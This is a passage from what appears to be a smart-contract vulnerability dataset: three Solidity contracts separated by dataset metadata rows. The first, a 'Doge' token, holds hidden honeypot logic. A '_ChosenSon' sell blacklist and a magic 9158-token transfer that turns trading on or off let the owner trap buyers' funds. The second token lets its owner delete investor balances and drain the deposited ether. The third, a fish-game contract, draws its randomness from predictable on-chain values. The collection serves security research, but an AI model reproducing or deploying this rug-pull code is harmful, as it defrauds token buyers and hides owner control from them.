function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address payable adr) public virtual onlyOwner {
_owner = adr;
emit OwnershipTransferred(_owner,adr);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract baseToken is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private constant MAX = ~uint256(0);
struct Fee{uint buy; uint sell;uint transfer; uint part;}
Fee public fees;
struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
Allot public allot;
mapping(address => bool) public _feeWhiteList;
mapping(address => bool) public _ChosenSon;
IUniswapV2Router02 public router;
address public _mainPair;
mapping(address => bool) public _swapPairList;
address marketingAddress;
uint256 public startTradeBlock;
bool public swapEnabled = true;
uint256 public swapThreshold;
uint256 public maxSwapThreshold;
bool private inSwap;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
_name = Name;
_symbol = Symbol;
_decimals = Decimals;
uint256 total = Supply * 10 ** Decimals;
_tTotal = total;
router = IUniswapV2Router02(RouterAddress);
_allowances[address(this)][address(router)] = MAX;
IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
_mainPair = swapFactory.createPair(address(this), router.WETH());
_swapPairList[_mainPair] = true;
startTradeBlock = block.number;
allot=Allot(0,10,0,0,10);
fees=Fee(2,2,2,100);
marketingAddress = msg.sender;
swapThreshold = total.div(1000);
maxSwapThreshold = total.div(100);
_feeWhiteList[marketingAddress] = true;
_feeWhiteList[address(this)] = true;
_feeWhiteList[address(router)] = true;
_feeWhiteList[msg.sender] = true;
_balances[msg.sender] = total;
emit Transfer(address(0), msg.sender, total);
}
function symbol() external view override returns (string memory) {return _symbol;}
function name() external view override returns (string memory) {return _name;}
function decimals() external view override returns (uint8) {return _decimals;}
function totalSupply() public view override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
receive() external payable {}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(!_ChosenSon[from] || _feeWhiteList[to], "ChosenSon");
bool takeFee;
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (_swapPairList[to]) {
require(0 < startTradeBlock, "!startAddLP");
if (!inSwap) {
uint256 contractTokenBalance = balanceOf(address(this));
if (swapEnabled && contractTokenBalance > 0) {
if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
swapTokenForFund(contractTokenBalance);
}
}
}
takeFee = true;
}
}
if(_feeWhiteList[from] && _feeWhiteList[to]){
amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
_takeTransfer(from, to, amount);
return;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _funTransfer(address sender,
address recipient,
uint256 tAmount) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount = tAmount * 99 / 100;
_takeTransfer(sender,
address(this),
feeAmount);
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function _tokenTransfer(address sender,
address recipient,
uint256 tAmount,
bool takeFee) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 swapFee;
if (_swapPairList[sender]) {
swapFee = fees.buy;
} else if(_swapPairList[recipient]) {
swapFee = fees.sell;
}else{
swapFee = fees.transfer;
}
uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
if (swapAmount > 0) {
feeAmount += swapAmount;
_takeTransfer(sender,
address(this),
swapAmount);
}
}
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint amountETH =address(this).balance;
uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
bool tmpSuccess;
if(fundAmount>0){
(tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
}
if (amountToLiquify > 0) {
if (amountETHLiquidity > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(address(this),
amountToLiquify,
0,
0,
marketingAddress,
block.timestamp);
}
}
}
function _takeTransfer(address sender,
address to,
uint256 tAmount) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
uint total =liquidity.add(marketing).add(rewards).add(burn);
allot=Allot(marketing,liquidity,burn,rewards,total);
}
function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
fees=Fee(_buy,_sell,_transferfee,_part);
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _swapThreshold;
maxSwapThreshold = _maxSwapThreshold;
}
function setFeeWhiteList(address addr, bool enable) external onlyOwner {
_feeWhiteList[addr] = enable;
}
function setChosenSon(address addr, bool enable) external onlyOwner {
_ChosenSon[addr] = enable;
}
function setSwapPairList(address addr, bool enable) external onlyOwner {
_swapPairList[addr] = enable;
}
}
contract Doge is baseToken {
constructor() baseToken(address(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506),
"Doge",
"$Doge",
9,
100000000000){
}
}
| 33,686 | 13,954 |
3f2006c4d64e7cdb7607673d4fdf4e31506bcfd0f4171fa70c95162bad8afef4
| 17,037 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x66beab7979c4cc5d5d4c7e3a05a74bd9f62f1dc3.sol
| 3,545 | 12,225 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner,
address newOwner);
modifier onlyOwner() {
require(msg.sender == owner || msg.sender == address(this));
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause(bool isPause);
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause(paused);
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Pause(paused);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
struct Purchase {
uint unlockTokens;
uint unlockDate;
}
mapping(address => Purchase[]) balancesLock;
uint256 totalSupply_;
address public rubusBlackAddress;
uint256 public priceEthPerToken;
uint256 public depositCommission;
uint256 public withdrawCommission;
uint256 public investCommission;
address public depositWallet;
address public withdrawWallet;
address public investWallet;
bool public lock;
uint256 public minimalEthers;
uint256 public lockTokensPercent;
uint256 public lockTimestamp;
event Deposit(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission);
event Withdraw(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value <= checkVesting(msg.sender));
if (_to == rubusBlackAddress) {
require(!lock);
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
require(weiAmount <= uint256(address(this).balance));
totalSupply_ = totalSupply_.sub(_value);
msg.sender.transfer(weiAmount);
withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100));
emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission);
} else {
balances[_to] = balances[_to].add(_value);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function getPurchases(address sender, uint index) public view returns(uint, uint) {
return (balancesLock[sender][index].unlockTokens, balancesLock[sender][index].unlockDate);
}
function checkVesting(address sender) public view returns (uint256) {
uint256 availableTokens = 0;
for (uint i = 0; i < balancesLock[sender].length; i++) {
(uint lockTokens, uint lockTime) = getPurchases(sender, i);
if(now >= lockTime) {
availableTokens = availableTokens.add(lockTokens);
}
}
return availableTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return checkVesting(_owner);
}
function balanceOfUnlockTokens(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_value <= checkVesting(_from));
if (_to == rubusBlackAddress) {
require(!lock);
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
require(weiAmount <= uint256(address(this).balance));
totalSupply_ = totalSupply_.sub(_value);
msg.sender.transfer(weiAmount);
withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100));
emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission);
} else {
balances[_to] = balances[_to].add(_value);
}
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RubusFundBlackToken is StandardToken {
string constant public name = "Rubus Fund Black Token";
uint256 constant public decimals = 18;
string constant public symbol = "RTB";
event Lock(bool lockStatus);
event DeleteTokens(address user, uint256 tokensAmount);
event AddTokens(address user, uint256 tokensAmount);
event NewTokenPrice(uint256 tokenPrice);
event GetWei(uint256 weiAmount);
event AddWei(uint256 weiAmount);
event DepositCommission(uint256 deposit);
event InvestCommission(uint256 invest);
event WithdrawCommission(uint256 withdraw);
event DepositWallet(address deposit);
event InvestWallet(address invest);
event WithdrawWallet(address withdraw);
constructor() public {
rubusBlackAddress = address(this);
setNewPrice(33333);
lockUp(false);
newDepositCommission(100);
newInvestCommission(80);
newWithdrawCommission(100);
newMinimalEthers(500000000000000000);
newTokenUnlockPercent(100);
newLockTimestamp(2592000);
newDepositWallet(0x73D5f035B8CB58b4aF065d6cE49fC8E7288536F3);
newInvestWallet(0xf0EF10870308013903bd6Dc8f86E7a7EAF1a86Ab);
newWithdraWallet(0x7c4C8b371d4348f7A1fd2e76f05aa60846b442DD);
}
function _lockPaymentTokens(address sender, uint _amount, uint _date) internal {
balancesLock[sender].push(Purchase(_amount, _date));
}
function () payable external whenNotPaused {
require(msg.value >= minimalEthers);
uint256 tokens = msg.value.mul(depositCommission).mul(priceEthPerToken).div(10000);
totalSupply_ = totalSupply_.add(tokens);
uint256 lockTokens = tokens.mul(100).div(lockTokensPercent);
// balancesLock[msg.sender] = balancesLock[msg.sender].add(tokens);
_lockPaymentTokens(msg.sender, lockTokens, now.add(lockTimestamp));
balances[msg.sender] = balances[msg.sender].add(tokens);
investWallet.transfer(msg.value.mul(investCommission).div(100));
depositWallet.transfer(msg.value.mul(uint256(100).sub(depositCommission)).div(100));
emit Transfer(rubusBlackAddress, msg.sender, tokens);
emit Deposit(msg.sender, msg.value, tokens, priceEthPerToken, depositCommission);
}
function getWei(uint256 weiAmount) external onlyOwner {
owner.transfer(weiAmount);
emit GetWei(weiAmount);
}
function addEther() payable external onlyOwner {
emit AddWei(msg.value);
}
function airdrop(address[] receiver, uint256[] amount) external onlyOwner {
require(receiver.length > 0 && receiver.length == amount.length);
for(uint256 i = 0; i < receiver.length; i++) {
uint256 tokens = amount[i];
totalSupply_ = totalSupply_.add(tokens);
balances[receiver[i]] = balances[receiver[i]].add(tokens);
emit Transfer(address(this), receiver[i], tokens);
emit AddTokens(receiver[i], tokens);
}
}
function deleteInvestorTokens(address[] user, uint256[] amount) external onlyOwner {
require(user.length > 0 && user.length == amount.length);
for(uint256 i = 0; i < user.length; i++) {
uint256 tokens = amount[i];
require(tokens <= balances[user[i]]);
totalSupply_ = totalSupply_.sub(tokens);
balances[user[i]] = balances[user[i]].sub(tokens);
emit Transfer(user[i], address(this), tokens);
emit DeleteTokens(user[i], tokens);
}
}
function setNewPrice(uint256 _ethPerToken) public onlyOwner {
priceEthPerToken = _ethPerToken;
emit NewTokenPrice(priceEthPerToken);
}
function newDepositCommission(uint256 _newDepositCommission) public onlyOwner {
depositCommission = _newDepositCommission;
emit DepositCommission(depositCommission);
}
function newInvestCommission(uint256 _newInvestCommission) public onlyOwner {
investCommission = _newInvestCommission;
emit InvestCommission(investCommission);
}
function newWithdrawCommission(uint256 _newWithdrawCommission) public onlyOwner {
withdrawCommission = _newWithdrawCommission;
emit WithdrawCommission(withdrawCommission);
}
function newDepositWallet(address _depositWallet) public onlyOwner {
depositWallet = _depositWallet;
emit DepositWallet(depositWallet);
}
function newInvestWallet(address _investWallet) public onlyOwner {
investWallet = _investWallet;
emit InvestWallet(investWallet);
}
function newWithdraWallet(address _withdrawWallet) public onlyOwner {
withdrawWallet = _withdrawWallet;
emit WithdrawWallet(withdrawWallet);
}
function lockUp(bool _lock) public onlyOwner {
lock = _lock;
emit Lock(lock);
}
function newMinimalEthers(uint256 _weiAMount) public onlyOwner {
minimalEthers = _weiAMount;
}
function newTokenUnlockPercent(uint256 _lockTokensPercent) public onlyOwner {
lockTokensPercent = _lockTokensPercent;
}
function newLockTimestamp(uint256 _lockTimestamp) public onlyOwner {
lockTimestamp = _lockTimestamp;
}
}
| 221,328 | 13,955 |
ac5bc952510a342230d613772962dfd5f5a5c8d376c30dfda308fb770b6b82cf
| 19,415 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb5c518ab9b41080af0d9df48d9ecbf1f098a44d0.sol
| 4,234 | 14,595 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
}
contract KillFish is Ownable, ERC721 {
using SafeMath for uint256;
using SafeMath for uint64;
struct Fish {
uint64 genes; //genes determine only the appearance 00 000 000 000-99 999 999 999
string nickname; //fish nickname
uint64 birthTime; //birth time
uint64 feedTime; //last feeding time
uint64 huntTime; //last hunting time
uint256 share; //fish size (per share)
uint256 feedValue; //how much fish should eat (per eth)
uint256 eatenValue; //how much did the fish eat (per eth)
}
Fish[] fishes;
mapping (uint256 => address) private _tokenOwner;
mapping (address => uint256) private _ownedTokensCount;
uint256 private _totalSupply;
uint256 public totalShares;
uint256 public balanceFishes;
uint256 public balanceOwner;
uint256 public balanceMarketing;
uint256 public maxGasPrice;
string constant public name = "KillFish.io";
string constant public symbol = "FISH";
uint256 constant public minPayment = 10000 szabo; // 10000 szabo=0.01 eth
uint8 constant public percentFeeFishesInput = 5;
uint8 constant public percentFeeFishesOutput = 5;
uint8 constant public percentFeeFishesBite = 20;
uint8 constant public percentFeeMarketingInput = 5;
uint8 constant public percentFeeAdminOutput = 5;
uint8 constant public percentFeeAdminBite = 10;
uint8 constant public percentFeed = 5;
uint64 constant public pausePrey = 7 days;
uint64 constant public pauseHunter = 2 days;
event UpdateMaxGasPrice(uint256 maxGasPrice);
event WithdrawalMarketing(address indexed to,
uint256 value);
event WithdrawalOwner(address indexed to,
uint256 value);
function updateMaxGasPrice(uint256 _newMaxGasPrice) public onlyOwner {
require(_newMaxGasPrice >= 10000000000 wei); // 10000000000 wei = 10 gwei
maxGasPrice=_newMaxGasPrice;
emit UpdateMaxGasPrice(maxGasPrice);
}
function withdrawalMarketing(address _to, uint256 _value) public onlyOwner {
balanceMarketing=balanceMarketing.sub(_value);
emit WithdrawalMarketing(_to, _value);
_to.transfer(_value);
}
function withdrawalOwner(address _to, uint256 _value) public onlyOwner {
balanceOwner=balanceOwner.sub(_value);
emit WithdrawalOwner(_to, _value);
_to.transfer(_value);
}
constructor() public {
updateMaxGasPrice(25000000000 wei); // 25000000000 wei = 25 gwei
}
modifier onlyOwnerOf(uint256 _tokenId) {
require(msg.sender == _tokenOwner[_tokenId], "not token owner");
_;
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256 total) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return _ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return _tokenOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private returns (bool) {
_ownedTokensCount[_to] = _ownedTokensCount[_to].add(1);
_ownedTokensCount[_from] = _ownedTokensCount[_from].sub(1);
_tokenOwner[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
return true;
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) returns (bool) {
return _transfer(msg.sender, _to, _tokenId);
}
function () public payable {
revert();
}
event CreateFish(uint256 indexed tokenId,
uint64 genes,
string nickname,
uint64 birthTime,
uint256 share,
uint256 feedValue,
uint256 eatenValue);
event FeedFish(uint256 indexed tokenId,
uint256 share,
uint256 feedValue,
uint256 eatenValue);
event DestroyFish(uint256 indexed tokenId,
uint256 share,
uint256 withdrawal);
event BiteFish(uint256 indexed tokenId,
uint256 indexed preyId,
uint256 hunterShare,
uint256 hunterFeedValue,
uint256 preyShare,
uint256 preyFeedValue);
event UpdateNickname(uint256 indexed tokenId,
string nickname);
modifier checkMaxGasPrice() {
require(tx.gasprice<=maxGasPrice, "gas price > maxGasPrice");
_;
}
modifier checkMinPayment() {
require(msg.value>=minPayment, "msg.value < minPayment");
_;
}
function createFish(string _nickname) public payable checkMinPayment checkMaxGasPrice returns(uint256) {
uint256 feeMarketing=msg.value.mul(percentFeeMarketingInput).div(100);
uint256 feeFishes=msg.value.mul(percentFeeFishesInput).div(100);
uint256 value=msg.value.sub(feeMarketing).sub(feeFishes);
balanceFishes=balanceFishes.add(value).add(feeFishes);
balanceMarketing=balanceMarketing.add(feeMarketing);
uint256 share=_newShare(value);
totalShares=totalShares.add(share);
Fish memory newFish=Fish({
genes: _newGenes(),
nickname: _nickname,
birthTime: uint64(now),
feedTime: uint64(now),
huntTime: uint64(now),
share: share,
feedValue: _newFeedValue(share),
eatenValue: value
});
uint256 newTokenId = fishes.push(newFish) - 1;
_totalSupply=_totalSupply.add(1);
_ownedTokensCount[msg.sender]=_ownedTokensCount[msg.sender].add(1);
_tokenOwner[newTokenId]=msg.sender;
emit CreateFish(newTokenId, fishes[newTokenId].genes, fishes[newTokenId].nickname, fishes[newTokenId].birthTime, fishes[newTokenId].share, fishes[newTokenId].feedValue, value);
emit Transfer(address(0), msg.sender, newTokenId);
return newTokenId;
}
function feedFish(uint256 _tokenId) public payable checkMinPayment checkMaxGasPrice returns(bool) {
require(statusLive(_tokenId), "fish dead");
uint256 feeMarketing=msg.value.mul(percentFeeMarketingInput).div(100);
uint256 feeFishes=msg.value.mul(percentFeeFishesInput).div(100);
uint256 value=msg.value.sub(feeMarketing).sub(feeFishes);
balanceFishes=balanceFishes.add(value).add(feeFishes);
balanceMarketing=balanceMarketing.add(feeMarketing);
uint256 share=_newShare(value);
totalShares=totalShares.add(share);
fishes[_tokenId].share=fishes[_tokenId].share.add(share);
fishes[_tokenId].eatenValue=fishes[_tokenId].eatenValue.add(value);
if (value<fishes[_tokenId].feedValue) {
fishes[_tokenId].feedValue=fishes[_tokenId].feedValue.sub(value);
} else {
fishes[_tokenId].feedValue=_newFeedValue(fishes[_tokenId].share);
fishes[_tokenId].feedTime=uint64(now);
fishes[_tokenId].huntTime=uint64(now);
}
emit FeedFish(_tokenId, share, fishes[_tokenId].feedValue, value);
return true;
}
function destroyFish(uint256 _tokenId) public onlyOwnerOf(_tokenId) checkMaxGasPrice returns(bool) {
uint256 share=fishes[_tokenId].share;
uint256 withdrawal=shareToValue(share);
uint256 feeFishes=withdrawal.mul(percentFeeFishesOutput).div(100);
uint256 feeAdmin=withdrawal.mul(percentFeeAdminOutput).div(100);
withdrawal=withdrawal.sub(feeFishes).sub(feeAdmin);
totalShares=totalShares.sub(share);
fishes[_tokenId].share=0;
fishes[_tokenId].feedValue=0;
fishes[_tokenId].nickname="";
fishes[_tokenId].feedTime=uint64(now);
_transfer(msg.sender, address(0), _tokenId);
balanceOwner=balanceOwner.add(feeAdmin);
balanceFishes=balanceFishes.sub(withdrawal).sub(feeAdmin);
emit DestroyFish(_tokenId, share, withdrawal);
msg.sender.transfer(withdrawal);
return true;
}
function biteFish(uint256 _tokenId, uint256 _preyId) public onlyOwnerOf(_tokenId) checkMaxGasPrice returns(bool) {
require(statusLive(_preyId), "prey dead");
require(statusPrey(_preyId), "not prey");
require(statusHunter(_tokenId), "not hunter");
require(fishes[_preyId].share<fishes[_tokenId].share, "too much prey");
uint256 sharePrey;
uint256 shareHunter;
uint256 shareFishes;
uint256 shareAdmin;
uint256 value;
if (shareToValue(fishes[_preyId].share)<minPayment.mul(2)) {
sharePrey=fishes[_preyId].share;
_transfer(ownerOf(_preyId), address(0), _preyId);
fishes[_preyId].nickname="";
} else {
sharePrey=fishes[_preyId].share.mul(percentFeed).div(100);
if (shareToValue(sharePrey)<minPayment) {
sharePrey=valueToShare(minPayment);
}
}
shareFishes=sharePrey.mul(percentFeeFishesBite).div(100);
shareAdmin=sharePrey.mul(percentFeeAdminBite).div(100);
shareHunter=sharePrey.sub(shareFishes).sub(shareAdmin);
fishes[_preyId].share=fishes[_preyId].share.sub(sharePrey);
fishes[_tokenId].share=fishes[_tokenId].share.add(shareHunter);
fishes[_preyId].feedValue=_newFeedValue(fishes[_preyId].share);
fishes[_preyId].feedTime=uint64(now);
fishes[_tokenId].huntTime=uint64(now);
value=shareToValue(shareHunter);
if (value<fishes[_tokenId].feedValue) {
fishes[_tokenId].feedValue=fishes[_tokenId].feedValue.sub(value);
} else {
fishes[_tokenId].feedValue=_newFeedValue(fishes[_tokenId].share);
fishes[_tokenId].feedTime=uint64(now);
}
value=shareToValue(shareAdmin);
totalShares=totalShares.sub(shareFishes).sub(shareAdmin);
balanceOwner=balanceOwner.add(value);
balanceFishes=balanceFishes.sub(value);
emit BiteFish(_tokenId, _preyId, shareHunter, fishes[_tokenId].feedValue, sharePrey, fishes[_preyId].feedValue);
return true;
}
function updateNickname(uint256 _tokenId, string _nickname) public onlyOwnerOf(_tokenId) returns(bool) {
fishes[_tokenId].nickname=_nickname;
emit UpdateNickname(_tokenId, _nickname);
return true;
}
function getFish(uint256 _tokenId) public view
returns (uint64 genes,
string nickname,
uint64 birthTime,
uint64 feedTime,
uint64 huntTime,
uint256 share,
uint256 feedValue,
uint256 eatenValue) {
Fish memory fish=fishes[_tokenId];
genes=fish.genes;
nickname=fish.nickname;
birthTime=fish.birthTime;
feedTime=fish.feedTime;
huntTime=fish.huntTime;
share=fish.share;
feedValue=fish.feedValue;
eatenValue=fish.eatenValue;
}
function statusLive(uint256 _tokenId) public view returns(bool) {
if (fishes[_tokenId].share==0) {return false;}
return true;
}
function statusPrey(uint256 _tokenId) public view returns(bool) {
if (now<=fishes[_tokenId].feedTime.add(pausePrey)) {return false;}
return true;
}
function statusHunter(uint256 _tokenId) public view returns(bool) {
if (now<=fishes[_tokenId].huntTime.add(pauseHunter)) {return false;}
return true;
}
function shareToValue(uint256 _share) public view returns(uint256) {
if (totalShares == 0) {return 0;}
return _share.mul(balanceFishes).div(totalShares);
}
function valueToShare(uint256 _value) public view returns(uint256) {
if (balanceFishes == 0) {return 0;}
return _value.mul(totalShares).div(balanceFishes);
}
function _newShare(uint256 _value) private view returns(uint256) {
if (totalShares == 0) {return _value;}
return _value.mul(totalShares).div(balanceFishes.sub(_value));
}
function _newFeedValue(uint256 _share) private view returns(uint256) {
uint256 _value=shareToValue(_share);
return _value.mul(percentFeed).div(100);
}
function _newGenes() private view returns(uint64) {
return uint64(uint256(keccak256(abi.encodePacked(now, totalShares, balanceFishes)))%(10**11));
}
}
| 195,502 | 13,956 |
130c80b289f6e78d3edf8b8b5af02211a7baab9ceeb22e06053e1641ab0ffe44
| 17,955 |
.sol
|
Solidity
| false |
